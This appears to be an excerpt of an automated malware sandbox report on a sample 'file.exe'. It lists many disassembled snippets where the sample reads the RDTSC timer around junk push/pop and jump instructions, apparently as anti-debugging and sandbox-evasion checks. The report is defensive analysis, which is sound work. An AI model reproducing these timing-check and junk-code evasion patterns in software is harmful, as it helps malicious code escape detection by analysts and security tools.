Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DE63 second address: 77DE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DE6B second address: 77DE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F100CB95076h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DE76 second address: 77DE7B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ECE8 second address: 77ED01 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F100CB95084h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ED01 second address: 77ED10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007F100CBC40BEh 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77EFC4 second address: 77EFCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77EFCA second address: 77EFDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F100CBC40B6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77EFDA second address: 77EFDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783B6D second address: 783BA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C3h 0x00000007 pushad 0x00000008 jno 00007F100CBC40B6h 0x0000000e jmp 00007F100CBC40C8h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7870A2 second address: 7870A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7878DC second address: 7878E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7878E2 second address: 7878ED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79145A second address: 791467 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791861 second address: 791865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79199B second address: 7919B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F100CBC40B6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F100CBC40B6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7919B5 second address: 7919B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7919B9 second address: 7919BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7927DD second address: 7927E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7927E1 second address: 7927EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790870 second address: 790874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790874 second address: 79087A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795BE1 second address: 795BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795BE7 second address: 795BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795BEB second address: 795C08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95080h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795C08 second address: 795C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795C0C second address: 795C29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79960A second address: 799646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40BBh 0x00000007 jmp 00007F100CBC40C4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jmp 00007F100CBC40C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4B17 second address: 7A4B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A483F second address: 7A4843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4843 second address: 7A485D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F100CB95084h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A485D second address: 7A4863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4863 second address: 7A4867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B4AE5 second address: 7B4AEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0730 second address: 7C0764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F100CB95089h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F100CB95084h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08D1 second address: 7C08DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08DA second address: 7C08E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08E0 second address: 7C08EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08EE second address: 7C08FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jno 00007F100CB95076h 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08FD second address: 7C0911 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F100CBC40B6h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0CD0 second address: 7C0CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0CD5 second address: 7C0CDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0CDB second address: 7C0CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0CDF second address: 7C0CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F100CBC40B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F100CBC40BCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C108C second address: 7C1096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4944 second address: 7C495F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F100CBC40C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C495F second address: 7C4998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F100CB95086h 0x0000000b jmp 00007F100CB9507Eh 0x00000010 pushad 0x00000011 jns 00007F100CB95076h 0x00000017 jnc 00007F100CB95076h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF4E8 second address: 7CF4F2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F100CBC40BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB98D second address: 6DB991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB991 second address: 6DB995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB995 second address: 6DB99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB99B second address: 6DB9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB9A4 second address: 6DB9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB9AA second address: 6DB9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB9AF second address: 6DB9B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFF2F second address: 7DFF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFF35 second address: 7DFF3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2D84 second address: 7E2D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E810A second address: 7E8117 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8117 second address: 7E811D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E811D second address: 7E8122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7DEA second address: 7E7DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7DF0 second address: 7E7DF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7DF4 second address: 7E7E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F100CBC40B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F100CBC40C4h 0x00000011 popad 0x00000012 js 00007F100CBC40DEh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jg 00007F100CBC40B6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80133F second address: 801344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800183 second address: 80018F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F100CBC40B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80018F second address: 8001B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F100CB95076h 0x0000000a popad 0x0000000b jmp 00007F100CB95088h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8001B6 second address: 8001BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80030B second address: 800351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F100CB95089h 0x00000009 jmp 00007F100CB95089h 0x0000000e popad 0x0000000f jmp 00007F100CB9507Ah 0x00000014 pop eax 0x00000015 push esi 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800A4B second address: 800A63 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F100CBC40C1h 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800BAC second address: 800BB6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F100CB95076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800BB6 second address: 800BD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C7h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800BD2 second address: 800BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800E75 second address: 800E7B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801037 second address: 80103B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80103B second address: 80103F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80103F second address: 801045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805304 second address: 805320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805320 second address: 805325 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80585B second address: 80586E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F100CBC40BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80586E second address: 8058A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F100CB9507Ch 0x0000000d nop 0x0000000e or dx, 14C1h 0x00000013 mov dx, 5700h 0x00000017 push dword ptr [ebp+122D2B90h] 0x0000001d call 00007F100CB9507Ah 0x00000022 pop edx 0x00000023 push BE4ED65Dh 0x00000028 push eax 0x00000029 push edx 0x0000002a push ebx 0x0000002b pushad 0x0000002c popad 0x0000002d pop ebx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806CC3 second address: 806D04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F100CBC40BBh 0x0000000f jbe 00007F100CBC40B6h 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a jne 00007F100CBC40B6h 0x00000020 pop edi 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 pop eax 0x00000026 pop edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808966 second address: 80896C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A4C8 second address: 80A4E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jnl 00007F100CBC40B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0F22 second address: 52C0F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0F28 second address: 52C0F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0F2C second address: 52C0F49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F100CB95082h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0F49 second address: 52C0F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300119 second address: 5300131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CB95084h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300131 second address: 5300140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300140 second address: 5300146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300146 second address: 530014C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530014C second address: 5300150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300150 second address: 5300154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300154 second address: 5300191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F100CB95086h 0x00000010 mov ebp, esp 0x00000012 jmp 00007F100CB95080h 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ah, dh 0x0000001d mov bx, ax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300191 second address: 5300197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300197 second address: 530019B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529013F second address: 5290145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290145 second address: 5290149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290149 second address: 5290172 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F100CBC40C8h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290172 second address: 5290177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0AE0 second address: 52B0B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F100CBC40BEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ebx, 6CEC37B4h 0x00000016 mov bx, 1B20h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F100CBC40C2h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B057F second address: 52B0583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0583 second address: 52B0589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
